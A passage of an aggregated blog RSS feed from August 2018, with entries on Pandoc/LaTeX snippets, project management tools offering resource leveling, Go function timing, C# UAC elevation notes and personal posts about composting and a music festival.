&lt;/ul&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Fri, 17 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2018/08/hyperion-tog-paper.html</guid></item><item><title>Snippets for Markdown to LaTeX with Pandoc</title><link>https://sean.lane.sh/posts/2018/08/Snippets-for-Markdown-to-LaTeX-with-Pandoc/</link><description>&lt;p&gt;This is another living post that serves more for my personal benefit than anything else. By living, I mean that I will continue to update it over time as I find things I want to keep easily accessible. This post is a place to paste snippets and boiler plate of Markdown/Pandoc/LaTeX material that I find useful but often forget. There&amp;rsquo;s probably nothing very genius or awe-inspiring here, but hopefully I won&amp;rsquo;t have to &lt;code&gt;grep&lt;/code&gt; through by bash history as often, trying to remember what I did that one time to do that one thing.&lt;/p&gt;
&lt;p&gt;I love using Markdown&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; for a variety of tasks, and if I need to present my work elsewhere (like homework assignments, distribution of meeting notes, etc.) I use &lt;a href="https://pandoc.org/"&gt;Pandoc&lt;/a&gt; to convert the Markdown into $\LaTeX$, which makes some lazy writing look much more professional, in my opinion.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="switch-back-and-forth-between-multiple-columns-in-pandoc-markdown"&gt;Switch back and forth between multiple columns in Pandoc markdown&lt;/h2&gt;
&lt;p&gt;Include the following in the YAML header:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;header-includes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  - &lt;span style="color: #ae81ff;"&gt;\usepackage{multicol}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  - &lt;span style="color: #ae81ff;"&gt;\newcommand{\hideFromPandoc}[1]{#1}\hideFromPandoc{\let\Begin\begin\let\End\end}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then begin and end sections of multiple columns like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-latex"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\Begin&lt;/span&gt;{multicols}{2} 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;#### Sample Equations
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\begin&lt;/span&gt;{equation}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\frac&lt;/span&gt;{dx_1}{dt} = x_2^2 + x_1^3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\end&lt;/span&gt;{equation}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\begin&lt;/span&gt;{equation}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\frac&lt;/span&gt;{dx_2}{dt} = &lt;span style="color: #66d9ef;"&gt;\frac&lt;/span&gt;{1}{x_1} &lt;span style="color: #66d9ef;"&gt;\cdot&lt;/span&gt; x_2 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\end&lt;/span&gt;{equation}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;\End&lt;/span&gt;{multicols}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;h2 id="options-commonly-specified-in-header"&gt;Options commonly specified in header&lt;/h2&gt;
&lt;p&gt;Include in the YAML header as needed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;title&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;My awesome title&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;subtitle&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;and cool subtitle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;date: \today # Note&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;Only works on Linux/OSX going from Markdown -&amp;gt; PDF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;geometry&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;margin=1in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #ae81ff;"&gt;classoption=twocolumn&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;h2 id="output-complete-latex-source-for-a-document"&gt;Output complete LaTeX source for a document&lt;/h2&gt;
&lt;p&gt;Running the following only outputs the LaTeX source for the content in the document:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ pandoc source.md -o output.tex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running this inserts the LaTeX content into your default (or other specified template) and then outputs the complete LaTeX source for generating the document:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ pandoc source.md -o output.tex  --template default.latex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;h2 id="adjust-space-around-title-in-pandoc"&gt;Adjust space around title in Pandoc&lt;/h2&gt;
&lt;p&gt;Use the &lt;code&gt;\vspace&lt;/code&gt; command in the &lt;code&gt;title&lt;/code&gt; option of the YAML header to adjust space as needed around the title. You can use it before, after, or before and after the desire text. In this example, I&amp;rsquo;m reducing the amount of space before and after the title:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;title&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;\vspace{-5ex}Sample title\vspace{-5ex}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inspired by this Stack Overflow answer: &lt;a href="https://tex.stackexchange.com/a/593"&gt;https://tex.stackexchange.com/a/593&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://daringfireball.net/projects/markdown/"&gt;https://daringfireball.net/projects/markdown/&lt;/a&gt; &lt;!-- raw HTML omitted --&gt; &lt;a href="https://en.wikipedia.org/wiki/Markdown"&gt;https://en.wikipedia.org/wiki/Markdown&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Fri, 17 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/08/Snippets-for-Markdown-to-LaTeX-with-Pandoc/</guid></item><item><title>Epictetus: Decide, Do, Become</title><link>https://jdsalaro.com/bookmark/quote/epictetus-decide-do-become/</link><description>In the third volume, chapter XXIII §1, of his discourses compiled by Arrian1, Epictetus2 gives his advice “to those who read and discuss for the purpose of display”.</description><author>Jayson Salazar Rodriguez | @jdsalaro | Blog</author><pubDate>Fri, 17 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jdsalaro.com/bookmark/quote/epictetus-decide-do-become/</guid></item><item><title>Improve code readability by putting spaces around the "not" symbol</title><link>https://www.databasesandlife.com/spaces-around-not-symbol/</link><description>&lt;p&gt;When I first started working, I noticed my boss at the time had a coding convention that I&amp;rsquo;d not seen elsewhere. As I was new to work, and the convention seemed logical, I adopted it, thinking it might be standard in the world of work. Alas I was wrong, I&amp;rsquo;ve never seen anyone else use it. But I still think it&amp;rsquo;s a good convention.&lt;/p&gt;
&lt;p&gt;And that&amp;rsquo;s based around the following fact. The C family of languages use the exclamation mark &amp;ldquo;!&amp;rdquo; as the symbol for &amp;ldquo;not&amp;rdquo;, and that&amp;rsquo;s actually a visually small and easy-to-oversee symbol.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Thu, 16 Aug 2018 17:13:25 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/spaces-around-not-symbol/</guid></item><item><title>What is Resource Leveling and Why Do You Need it?</title><link>https://www.databasesandlife.com/resource-leveling/</link><description>&lt;p&gt;A Guide to the Project Management Body of Knowledge (PMBOK Guide) &lt;a href="https://www.projectmanagement.com/wikis/351458/Resource-leveling" rel="noopener noreferrer" target="_blank"&gt;defines&lt;/a&gt; &lt;strong&gt;Resource Leveling&lt;/strong&gt; (also known as &lt;strong&gt;Predictive Planning&lt;/strong&gt; or &lt;strong&gt;Priority-Based Scheduling&lt;/strong&gt;)
in the context of project management tools as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A technique in which start and finish dates are adjusted based on resource constraints with the goal of balancing demand for resources with the available supply.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Many project management and project planning tools force you, the user, to specify when you think tasks will start and end.
For example drawing bars on a Gantt chart.
&amp;ldquo;Bob will do the web design full-time from Monday to Friday next week&amp;rdquo;.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Thu, 16 Aug 2018 13:31:40 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/resource-leveling/</guid></item><item><title>Start your own app with React, GraphQL and Serverless architecture: Part 3 - Let's build a GraphQL backend!</title><link>https://maxrozen.com/start-your-own-app-with-react-part-3</link><description>Start your own app with React, GraphQL and Serverless architecture: Part 3 - Let's build a GraphQL backend!</description><author>Max Rozen</author><pubDate>Thu, 16 Aug 2018 08:52:00 GMT</pubDate><guid isPermaLink="true">https://maxrozen.com/start-your-own-app-with-react-part-3</guid></item><item><title>JavaScript Object Property Descriptors, Proxies, and Preventing Extension</title><link>https://thomashunter.name/posts/2018-08-16-javascript-object-property-descriptors-proxies-and-preventing-extension</link><author>Thomas Hunter II</author><pubDate>Thu, 16 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-08-16-javascript-object-property-descriptors-proxies-and-preventing-extension</guid></item><item><title>Quick and Dirty Function Timing in Go</title><link>https://liza.io/quick-and-dirty-function-timing-in-go/</link><description>&lt;p&gt;When I want to do some rough timing comparisons or get a quick idea of what part of Thing X is taking so long I sometimes just time a few functions. I used to do this by getting &lt;code&gt;st := time.Now()&lt;/code&gt; at the beginning of the function and then &lt;code&gt;time.Since(st)&lt;/code&gt; at the end. It recently hit me that the same thing could be achieved with less duplication and messiness to clean up (when removing the timings) with something like this:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 15 Aug 2018 21:17:09 GMT</pubDate><guid isPermaLink="true">https://liza.io/quick-and-dirty-function-timing-in-go/</guid></item><item><title>Coordination</title><link>https://liza.io/microposts/coordination/</link><description>&lt;p&gt;When you&amp;rsquo;re helping coordinate a workflow switch between half a dozen different studios, making sure all tools support new workflow, and shipping at the same time:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 15 Aug 2018 16:40:07 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/coordination/</guid></item><item><title>Dots and Dashes</title><link>https://codeexplainer.wordpress.com/2018/08/15/dots-and-dashes/</link><description>Perl is (in)famous for the ability to write programs that look like line noise, and today I will take apart this beautiful piece of code. Written by tybalt89, it can decode sequences of dots and dashes to Latin letters in &amp;#8230; &lt;a href="https://codeexplainer.wordpress.com/2018/08/15/dots-and-dashes/"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Code Explainer</author><pubDate>Wed, 15 Aug 2018 14:08:11 GMT</pubDate><guid isPermaLink="true">https://codeexplainer.wordpress.com/2018/08/15/dots-and-dashes/</guid></item><item><title>Project Management tools that offer "Resource Leveling"</title><link>https://www.databasesandlife.com/pm-tools-with-resource-leveling/</link><description>&lt;!--
        &lt;li&gt;No view for workers to see what their tasks are.
        &lt;li&gt;No range estimates to capture uncertainty.
        &lt;li&gt;No view of estimated predicted costs.
        &lt;li&gt;No view to see how long workers have work for (resource utilization).
        &lt;li&gt;No "what-if" scenarios.

--&gt;
&lt;!-- SEPARATE INTO TWO BLOG POSTS? --&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th width="20%"&gt;Tool&lt;/th&gt;
&lt;th width="20%"&gt;Cost&lt;/th&gt;
&lt;th width="30%"&gt;What it does&lt;/th&gt;
&lt;th width="30%"&gt;What it doesn't do&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Microsoft Project&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://products.office.com/en-us/project/project-online-professional"&gt;https://products.office.com/en-us/project/project-online-professional&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$30 per user per month (if you pay monthly)&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Has a lightweight online version to show workers their tasks, but for resource leveling you need the full program which requires Windows
        &lt;li&gt;Has a button "Resource &amp;gt; Level All" which you click to perform resource leveling
        &lt;li&gt;"What-if" scenarios can be tested by coping the file
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No Mac/Linux version
        &lt;li&gt;No range estimates to capture uncertainty
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LiquidPlanner&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.liquidplanner.com/"&gt;https://www.liquidplanner.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$45 per project manager per month (minimum 5 users).&lt;br /&gt;Free for workers to see their tasks.&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Web-based tool
        &lt;li&gt;Has a view (costing nothing) for workers to see their tasks
        &lt;li&gt;Workers still see tasks even if they are blocked by other dependencies
        &lt;li&gt;Range estimates to capture uncertainty ("we think this will take min 1 day, max 2 days")
        &lt;li&gt;Shows resource utilization ("when will each of my employees run out of work?")
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No view of estimated predicted costs
        &lt;li&gt;No "what-if" scenarios
        &lt;/td&gt;
&lt;/tr&gt;
&lt;!--
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BrightWork&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.brightwork.com/"&gt;https://www.&lt;wbr /&gt;brightwork.&lt;wbr /&gt;com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$35 per user per month (minimum 5 users). Requires SharePoint, approx $10 per user per month. Other plans available.&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Web application, requires SharePoint
        &lt;li&gt;The website claims that Amazon uses it with 300 teams, so maybe aimed at larger businesses
        &lt;li&gt;Can surely do everything you want, if you can work out how to use it
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Slow: multi-second response times to every click
        &lt;li&gt;Usability issues e.g. "planned work" is just a number (hours? days?)
        &lt;li&gt;I must admit I didn't understand this product when I evaluated it
        &lt;/td&gt;
&lt;/tr&gt;
--&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Calligra Plan&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.calligra.org/plan/"&gt;https://www.calligra.org/plan/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Free and open source&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Desktop application, mainly for Linux (also has Windows and Mac versions)
        &lt;li&gt;Looks actively maintained (last release 6 months ago at the time of writing)
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Not obvious how to &lt;a href="https://userbase.kde.org/Calligra/Download#Mac_OS_X"&gt;install&lt;/a&gt; it on Mac or Windows
        &lt;li&gt;No view for workers to see what their tasks are
        &lt;li&gt;No range estimates to capture uncertainty
        &lt;li&gt;No view of estimated predicted costs
        &lt;li&gt;No view to see how long workers have work for (resource utilization)
        &lt;li&gt;No "what-if" scenarios
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gantter&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.gantter.com/"&gt;https://www.gantter.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$5 per user per month&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Web-based tool
        &lt;li&gt;Use the menu option "auto-level resources" and instantly see the new plan (no wait for server-side calculations)
        &lt;li&gt;Tasks can be marked as "pinned" (you specify start/end date) or not (auto-leveling algorithm predicts start/end dates)
        &lt;li&gt;Designed to look visually similar to MS Project
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No view for workers to see what their tasks are
        &lt;li&gt;No range estimates to capture uncertainty
        &lt;li&gt;No view of estimated predicted costs
        &lt;li&gt;No view to see how long workers have work for (resource utilization)
        &lt;li&gt;No "what-if" scenarios
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gantt Chart Project for Jira&lt;/strong&gt; &lt;br /&gt; &lt;a href="http://www.jiraproject.com/confluence/display/JRAGANTT/Gantt+Chart+Project+for+Jira"&gt;http://www.jiraproject.com/confluence/display/JRAGANTT/Gantt+Chart+Project+for+Jira&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$10 per month for up to 10 users, $6 per user per month thereafter&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;A module within Jira; good if you're already using Jira
        &lt;li&gt;Can import MS Project files
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No range estimates to capture uncertainty
        &lt;li&gt;No view of estimated predicted costs
        &lt;li&gt;No view to see how long workers have work for (resource utilization)
        &lt;li&gt;No "what-if" scenarios
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kelloo&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.kelloo.com/"&gt;https://www.kelloo.com/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$29 per user per month for the basic version (12 month plans), $49 per user per month for 3x "what if" scenarios&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;After you make a change, click a button to recalculate, then click again to refresh the schedule once it's recalculated.
        &lt;li&gt;Allows you to ask questions like "what if I add another developer?" without actually changing the live plan.
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Very slow and clunky!
        &lt;li&gt;No view for workers to see what their tasks are
        &lt;li&gt;No range estimates to capture uncertainty
        &lt;li&gt;No view of estimated predicted costs
        &lt;li&gt;No view to see how long workers have work for (resource utilization)
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Merlin&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.projectwizards.net/en/products/merlin-project/what-is"&gt;https://www.projectwizards.net/en/products/merlin-project/what-is&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$13 per user per month&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Mac-only desktop application
        &lt;li&gt;Resource utilization (view to see how long workers have work for)
        &lt;li&gt;Calculate expected costs of a project in addition to time
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No Windows or Linux versions
        &lt;li&gt;No range estimates to capture uncertainty
        &lt;li&gt;No view for workers to see what their tasks are
        &lt;li&gt;No "what-if" scenarios
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OmniPlan&lt;/strong&gt; &lt;br /&gt; &lt;a href="https://www.omnigroup.com/omniplan/"&gt;https://www.omnigroup.com/omniplan/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;$300 one-time payment&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Mac desktop application, or iOS app
        &lt;li&gt;Offers advanced Monte-Carlo simulation for predicting schedules
        &lt;li&gt;Click Shift-Command-L to level resources, or enable "automatic leveling' in the Project menu
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No Windows or Linux versions
        &lt;li&gt;No view for workers to see what their tasks are
        &lt;li&gt;No range estimates to capture &lt;a href="http://forums.omnigroup.com/showthread.php?t=15065"&gt;uncertainty&lt;/a&gt;
        &lt;li&gt;No view of estimated predicted costs
        &lt;li&gt;No view to see how long workers have work for (resource utilization)
        &lt;li&gt;No "what-if" scenarios
        &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TaskJuggler&lt;/strong&gt; &lt;br /&gt; &lt;a href="http://taskjuggler.org/"&gt;http://taskjuggler.org/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Free and open source&lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;Command-line application, no GUI (neither web nor desktop)
        &lt;li&gt;Store your plan in text files and edit them with a text editor
        &lt;/td&gt;
&lt;td&gt;&lt;ul&gt;
        &lt;li&gt;No GUI!
        &lt;li&gt;No view to see how long workers have work for (resource utilization)
        &lt;li&gt;Looks unmaintained. Most recent release was  in 2016, before that 2013, lots of docs are from 2006&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Please note these links here are &lt;strong&gt;not sponsored links&lt;/strong&gt;.
and I have not been paid in any way for this post.
The opinions are my own.
This page exists solely to help you, the reader of my website.
They are correct as of August 2018.
If you think you&amp;rsquo;ve found any errors, please &lt;a href="adrian.m.smith@gmail.com"&gt;write to me&lt;/a&gt;.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Wed, 15 Aug 2018 10:17:41 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/pm-tools-with-resource-leveling/</guid></item><item><title>Active worms</title><link>https://liza.io/microposts/active-worms/</link><description>&lt;p&gt;My worm bin is about a month old now, which is still very early by worm bin standards. Today I dug around in there and look at the nice active worms I found! I was worried about it before but now I&amp;rsquo;m hoping it might just be ok.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 15 Aug 2018 10:00:07 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/active-worms/</guid></item><item><title>Visualizing Iceland's Vegetation</title><link>https://e-baumer.github.io/2018-08-15-iceland-ndvi-viewer/</link><description>Using satellite data to observe Iceland's seasonal vegetation. This work was done in collaboration with Kevin James and links out to our Visual Perspective website -</description><author>Eric Nussbaumer</author><pubDate>Wed, 15 Aug 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://e-baumer.github.io/2018-08-15-iceland-ndvi-viewer/</guid></item><item><title>Start your own app with React, GraphQL and Serverless architecture: Part 2 - Deploying to a real domain name</title><link>https://maxrozen.com/start-your-own-app-with-react-part-2</link><description>Start your own app with React, GraphQL and Serverless architecture: Part 2 - Let's get this running in production</description><author>Max Rozen</author><pubDate>Wed, 15 Aug 2018 08:52:00 GMT</pubDate><guid isPermaLink="true">https://maxrozen.com/start-your-own-app-with-react-part-2</guid></item><item><title>Links - August 15, 2018</title><link>https://faingezicht.com/links/2018/08/15/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 15 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/08/15/links/</guid></item><item><title>Outside Lands, 2018</title><link>https://faingezicht.com/photos/2018/08/15/outside-lands-v4/</link><description>Another year in San Francisco, another Outside Lands. After a few years in SF, I've been to several of these festivals, and honestly this year I was less excited than for previous ones. We had purchased the early bird tickets, and were a bit disappointed when the lineup came out. However, being less excited about the concerts meant that we'd spend less time going back and forth in the park, and that we'd be less stressed about what concerts we'd miss because something else had overlapped.

As the day got closer, I started looking forward to it more, and once we were at the festival I was glad we had bought the tickets.

I knew I'd spend the weekend taking photos of happy people, just like I have in previous years. This time I again took 1000+ photos, so the editing process was tough. If you know I took your photo, and you can’t see it here, &lt;a href="/contact"&gt;reach out&lt;/a&gt; and I’ll send you a copy.

If you were at previous Outside Lands, maybe I took your photo there? Check out my sets from &lt;a href="/photos/2015/08/09/outside-lands?src=OL18"&gt;2015&lt;/a&gt;, &lt;a href="/photos/2016/08/15/outside-lands-v2?src=OL18"&gt;2016&lt;/a&gt; and &lt;a href="/photos/2017/08/15/outside-lands-v3?src=OL18"&gt;2017&lt;/a&gt;.

Anyway.... on to the 2018 pics:</description><author>Avy Faingezicht</author><pubDate>Wed, 15 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/08/15/outside-lands-v4/</guid></item><item><title>Homo Deus: A History of Tomorrow</title><link>https://olshansky.info/book/homo_deus/</link><description>Olshansky's review of Homo Deus: A History of Tomorrow by Yuval Noah Harari</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 15 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/homo_deus/</guid></item><item><title>I Published My AWS Secret Key to GitHub</title><link>https://www.dannyguo.com/blog/I-published-my-aws-secret-key-to-github</link><author>Danny Guo</author><pubDate>Wed, 15 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/I-published-my-aws-secret-key-to-github</guid></item><item><title>Vermicomposting</title><link>https://liza.io/microposts/vermicomposting/</link><description/><author>Liza Shulyayeva</author><pubDate>Tue, 14 Aug 2018 14:27:55 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/vermicomposting/</guid></item><item><title>Letstalkaboutp4</title><link>https://liza.io/microposts/letstalkaboutp4/</link><description>&lt;p&gt;Let&amp;rsquo;s talk about Perforce.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 14 Aug 2018 14:25:56 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/letstalkaboutp4/</guid></item><item><title>10 to 1 Rule</title><link>https://liza.io/microposts/10-to-1-rule/</link><description>&lt;blockquote&gt;
&lt;p&gt;Similarly, the ratio of “code churn” to “lines of code” in mature and non-trivial software is also at least 10:1. Keep this in mind the next time a manager or customer asks you for a time estimate! To build a 10,000 line app, expect to write roughly 100,000 lines.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 14 Aug 2018 14:19:07 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/10-to-1-rule/</guid></item><item><title>UAC Notes</title><link>https://liza.io/microposts/uac-notes/</link><description>&lt;p&gt;Random UAC permissions for C# applications notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ask for elevated permissions via &lt;code&gt;app.manifest&lt;/code&gt; - see &lt;code&gt;&amp;lt;requestedExecutionLevel level=&amp;quot;highestAvailable&amp;quot;/&amp;gt;&lt;/code&gt; or &lt;code&gt;requireAdministrator&lt;/code&gt; - &lt;a href="https://msdn.microsoft.com/en-us/library/6ad1fshk.aspx"&gt;https://msdn.microsoft.com/en-us/library/6ad1fshk.aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Can&amp;rsquo;t change elevation of a running process, need to start a new process.&lt;/li&gt;
&lt;li&gt;To run an elevated cmd.exe and make it look  like you&amp;rsquo;re request permissions mid-run for things like file operations (when you&amp;rsquo;re really starting new elevated process), set &lt;code&gt;Verbs&lt;/code&gt; property of &lt;code&gt;ProcessStartInfo&lt;/code&gt; to &lt;code&gt;&amp;quot;runas&amp;quot;&lt;/code&gt;&lt;/li&gt;
